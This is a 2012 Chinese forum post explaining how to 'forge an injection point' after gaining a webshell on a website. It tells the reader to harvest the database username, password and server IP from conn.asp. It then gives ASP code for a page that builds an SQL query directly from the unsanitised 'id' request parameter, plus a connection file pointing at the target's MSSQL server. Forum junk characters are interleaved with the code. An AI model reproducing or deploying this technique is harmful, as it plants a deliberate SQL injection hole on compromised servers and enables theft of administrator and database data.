找回密码
 立即注册
查看: 2341|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
  ~5 `; ^6 p/ e/ p6 n6 D( wASP/Visual Basic代码
4 N) i3 {1 }4 n  J/ q  J<!--#include file="xx.asp"-->    , Q" A; i" K& }# Y  I
<%   
/ _2 s0 b7 E( E$ h4 z: h# p& fset rs=server.createobject("ADODB.recordset")    ' ^4 P+ f4 w1 S
id = request("id")   
5 k0 [' i! o: F! a. ?. IstrSQL = "select * from admin where id=" & id   
3 A  z+ G+ q0 w4 p" Ers.open strSQL,conn,1,3   
, ~) B* o/ ~  Hrs.close      x% C: `6 G+ B1 e8 ?
%>  4 o% ?1 Z3 z( s/ V$ m
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
$ z# V2 h, H. u然后就要构造一个连接数据库的文件了,代码如下:
+ w: N: H, {. |+ E7 jASP/Visual Basic代码
' ~1 u  V* R! Z7 J2 u  a<%            7 s: i; |7 Y' m1 M) Y4 A
strSQLServerName = "000.000.000.000"     '服务器名称或地址   
$ o/ y$ T2 y5 }# c6 c- ?; zstrSQLDBUserName = "sqlname"         '数据库帐号    2 |- D3 z5 I* z) S4 J& Q$ ~
strSQLDBPassword = "sqlpass"         '数据库密码   
8 C+ g* H- Z" vstrSQLDBName = "sqldataname"           '数据库名称   
8 L  C7 b- }, J/ L$ J- lSet conn = Server.CreateObject("ADODB.Connection")    5 |1 c9 J! i/ V6 P- Z+ n$ {
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   , z( Z. ~9 R5 S' U
conn.open strCon   
8 s  m- `; `* o% i%>  7 x( r0 O) t+ |1 ^5 T+ i
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功/ p- p. M" I& }/ @& O! w9 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表